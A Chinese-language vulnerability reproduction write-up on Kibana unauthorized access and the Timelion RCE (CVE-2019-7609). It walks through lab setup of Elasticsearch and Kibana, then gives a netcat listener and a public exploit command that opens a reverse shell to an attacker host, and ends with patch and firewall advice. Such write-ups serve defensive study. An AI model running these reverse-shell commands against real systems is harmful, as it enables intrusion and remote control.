0x01 漏洞簡述
Kibana如果允許外網通路,沒有做安全的登入認證,也會被外部随意通路檢視所有的資料,造成少資料洩露。在預設配置下,Kibana就可以通路Elasticsearch中的所有資料。
0x02 知識擴充
Kibana是一個開源的分析與可視化平台,設計出來用于和Elasticsearch一起使用的。你可以用kibana搜尋、檢視存放在Elasticsearch中的資料。Kibana與Elasticsearch的互動方式是各種不同的圖表、表格、地圖等,直覺的展示資料,進而達到進階的資料分析與可視化的目的。
Elasticsearch、Logstash和Kibana這三個技術就是我們常說的ELK技術棧,可以說這三個技術的組合是大資料領域中一個很巧妙的設計。一種很典型的MVC思想,模型持久層,視圖層和控制層。Logstash擔任控制層的角色,負責搜集和過濾資料。Elasticsearch擔任資料持久層的角色,負責儲存資料。而我們這章的主題Kibana擔任視圖層角色,擁有各種次元的查詢和分析,并使用圖形化的界面展示存放在Elasticsearch中的資料。
0x03 風險等級
嚴漏洞的評定結果如下:
評定方式 等級
威脅等級 高危
影響面 廣泛
0x04 漏洞詳情
Kibana存在未授權通路漏洞,攻擊者通過通路URL,無需登入即可登入擷取資訊。
Kibana存在遠端代碼執行漏洞,影響版本為5.6.15和6.6.0之前的所有版本。擁有Kibana的Timelion子產品通路權限的人可以以Kibana的運作權限執行任意代碼,包括反彈shell。
0x05 影響版本
Kibana < 5.6.15
Kibana < 6.6.1
0x06 漏洞驗證
漏洞環境:
靶機:Ubantu 12.04 IP位址:172.16.16.212
Elasticsearch-6.5.4 Kibana-6.5.4
攻擊機:Kaki 5.5.0 IP位址:172.16.16.253
Kibana是Elasticsearch的可視化平台,我們需要先搭建Elasticsearch,再搭建Kibana。
一、Elasticsearch 安裝搭建
1)wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-6.5.4-linux-x86_64.tar.gz #使用指令下載下傳 Elasticsearch 7.10.0版本
2)下載下傳完後檢視檔案elasticsearch- 6.5.4-linux-x86_64.tar.gz
3)tar -xzvf elasticsearch- 6.5.4-linux-x86_64.tar.gz #解壓檔案
4)mv elasticsearch-6.5.4 /usr/local/ #拷貝到/usr/local 下
檢視elasticsearch-6.5.4
5)apt-get install openjdk-11-jre-headless #下載下傳java
6)java -version#檢視java版本,安裝成功
6)sudo adduser es# 賬号不能在root賬戶下啟動 需要建立新的賬戶,添加新使用者es
7)su es切換到es使用者
8)vi config/elasticsearch.yml #修改配置檔案
編輯node.name 名稱
node.name: node-1
9)path.data:/usr/local/elasticsearch-6.5.4/data#資料存儲路徑
path.logs:/usr/local/elasticsearch-6.5.4/logs#日志存儲路徑
10)network.host: 0.0.0.0 #修改IP未0.0.0.0使任意IP可以通路
- http.port: 9200 #端口未9200去掉前面的注釋
- http.cors.enabled: true #支援跨域
- http.cors.allow-origin: "*" #當設定允許跨域,預設為*,表示支援所有域名
11)vi /etc/security/limits.conf#修改es使用者的可建立檔案描述權限,在最後面追加如下内容:
- es soft nproc 4096
- es hard nproc 4096
12)vim /etc/sysctl.conf #修改使用者可以擁有的VMA(虛拟記憶體區域)的數量,在最後面追加如下内容:
13)sudo chown -R es:es /usr/local/elasticsearch-6.5.4/ #更改目錄的權限
14)./bin/elasticsearch#開啟Elasticsearch
15)打開url http://192.168.1.1212:9200/ #Elasticsearch開啟成功
二、Kibana安裝搭建
1)curl -O https://artifacts.elastic.co/downloads/kibana/kibana-6.5.4-linux-x86_64.tar.gz
2)下載下傳完後檢視安裝包
3)sudo tar -zxvf kibana-6.5.4-linux-x86_64.tar.gz #解壓安裝包
4)sudo mv kibana-6.5.4-linux-x86_64 /usr/local/ #将安裝包移動到/usr/local 目錄下
5)cd /usr/local/ #進入/usr/local/目錄
ls #檢視檔案
6)cd kibana-6.5.4-linux-x86_64 #進入kibana-6.5.4-linux-x86_64目錄
- vi config/kibana.yml #修改配置檔案
7)server.host: "172.16.16.212" #主機IP設定為靶機IP位址
- elasticsearch.hosts: ["http://172.16.16.212:9200"]# elasticsearch的IP設定為靶機IP位址
8)我們先開啟elasticsearch 在/usr/local/elasticsearch-6.5.4 輸入./bin/ elasticsearch#注意是在es使用者非root使用者下
9)打開url http://172.16.16.212:9200/ 開啟成功
10)在putty下連接配接靶機後,再輸入./bin/kibana開啟kibana服務
#putty下載下傳位址https://putty.en.softonic.com/
0x07 漏洞複現
未授權通路利用
1)打開URL http://172.16.16.212:5601/app/kibana#/
并且無需賬号密碼可以登入進入界面。
EXP 反彈Shell
1)打開url https://github.com/LandGrey/CVE-2019-7609 下載下傳EXP
2)我們使用指令sudo nc -lvvp 6666 開啟偵聽6666端口,用于接受反彈Shell
3)sudo python CVE-2019-7609-kibana-rce.py -u 172.16.16.212:5601 -host 172.16.16.220 -port 6666 –shell#執行EXP腳本開始攻擊
- -u 後面加的是目标靶機和端口号
- -host 是我們的攻擊機
4)執行結束,反彈Shell成功。
0x08 修複建議
- 更新Kibana到最新版本,更新位址如下https://www.elastic.co/cn/downloads/kibana
- 在kibana所在的伺服器上安裝nginx服務,利用nginx的轉發指令實作,需要輸入賬号密碼才可以通路頁面。參考連結如下https://blog.csdn.net/hellowidow_2020/article/details/78545937
- 如果正常業務中 kibana 服務需要被其他伺服器來通路,可以通過 iptables 政策,僅允許指定的 IP 來通路服務。
iptables -A INPUT -s x.x.x.x -p tcp --dport 11211 -j ACCEPT